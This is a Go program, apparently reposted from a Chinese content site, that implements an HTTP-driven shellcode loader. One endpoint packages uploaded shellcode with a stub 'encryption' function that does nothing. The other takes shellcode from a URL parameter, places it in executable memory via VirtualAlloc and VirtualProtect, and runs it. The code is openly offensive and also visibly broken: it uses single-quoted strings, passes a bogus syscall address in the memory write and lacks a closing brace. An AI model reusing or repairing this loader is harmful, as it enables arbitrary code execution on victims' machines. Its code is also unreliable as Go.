Go语言实现Shellcode注入与执行
package main
import ( "encoding/base64" "fmt" "io/ioutil" "log" "net/http" "os" "syscall" "unsafe" )
const ( AESKey = '0123456789abcdef' pageExecuteRead = 0x20 pageExecuteReadWrite = 0x40 executable = pageExecuteRead | pageExecuteReadWrite )
var ( kernel32 = syscall.MustLoadDLL('kernel32.dll') virtualAlloc = kernel32.MustFindProc('VirtualAlloc') kernel32Protect = kernel32.MustFindProc('VirtualProtect') shellcodeProc = syscall.NewLazyDLL('ShellcodeExecutor.dll').NewProc('executeShellcode') )
func encryptShellcode(shellcode []byte, key string) ([]byte, error) { // AES加密 // ...
return shellcode, nil
}
func allocateMemory(size int) (uintptr, error) { page := uintptr(0x1000) protect := uintptr(pageExecuteReadWrite) address, _, err := virtualAlloc.Call(0, uintptr(size), page, protect) if address == 0 { return address, fmt.Errorf('cannot allocate memory: %v', err) } return address, nil }
func writeMemory(data []byte, address uintptr) (int, error) { var bytesWritten int ok, _, err := syscall.Syscall( uintptr(unsafe.Pointer(&kernel32)), uintptr(unsafe.Pointer(&data[0])), uintptr(len(data)), address, uintptr(unsafe.Pointer(&bytesWritten)), 0, 0, )
if !ok {
return bytesWritten, fmt.Errorf('failed to write memory: %v', err)
}
return bytesWritten, nil
}
func protectMemory(address uintptr, size int, protect uintptr) (err error) { old := uintptr(0) ok, _, err := kernel32Protect.Call( address, uintptr(size), protect, uintptr(unsafe.Pointer(&old)), ) if ok == 0 { return fmt.Errorf('protect call failed: %v', err) } return }
func handleShellcode(w http.ResponseWriter, r *http.Request) { r.ParseMultipartForm(10 << 20) // 10MB
file, _, err := r.FormFile('shellcode')
if err != nil {
fmt.Println('Error reading shellcode. ', err)
return
}
defer file.Close()
shellcode, err := ioutil.ReadAll(file)
if err != nil {
fmt.Println('Error reading shellcode. ', err)
return
}
encryptedShellcode, err := encryptShellcode(shellcode, AESKey)
if err != nil {
fmt.Println('Error encrypting shellcode. ', err)
return
}
w.Header().Set('Content-Type', 'text/plain')
w.Header().Set('Content-Disposition', 'attachment; filename=payload.txt')
w.Write([]byte(base64.StdEncoding.EncodeToString(encryptedShellcode)))
}
func handleDownload(w http.ResponseWriter, r *http.Request) { shellcode, err := base64.StdEncoding.DecodeString(r.URL.Query().Get('shellcode')) if err != nil { fmt.Println('Error decoding shellcode. ', err) return }
baseAddr, err := allocateMemory(len(shellcode))
if err != nil {
fmt.Println('Error allocating memory. ', err)
return
}
_, err = writeMemory(shellcode, baseAddr)
if err != nil {
fmt.Println('Error writing shellcode. ', err)
return
}
protectMemory(baseAddr, len(shellcode), executable)
_, _, err = shellcodeProc.Call(uintptr(baseAddr), 0, 0)
if err != nil {
fmt.Println('Error executing shellcode. ', err)
return
}
fmt.Println('Shellcode executed successfully.')
}
func main() { http.HandleFunc('/handleShellcode', handleShellcode) http.HandleFunc('/handleDownload', handleDownload) http.HandleFunc('/', func(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, 'index.html') })
port := os.Getenv('PORT')
if port == '' {
port = '8080'
}
log.Printf('Listening on localhost:%s...
', port) err := http.ListenAndServe(':'+port, nil) if err != nil { log.Fatal(err) }
原文地址: https://www.cveoy.top/t/topic/lNjl 著作权归作者所有。请勿转载和采集!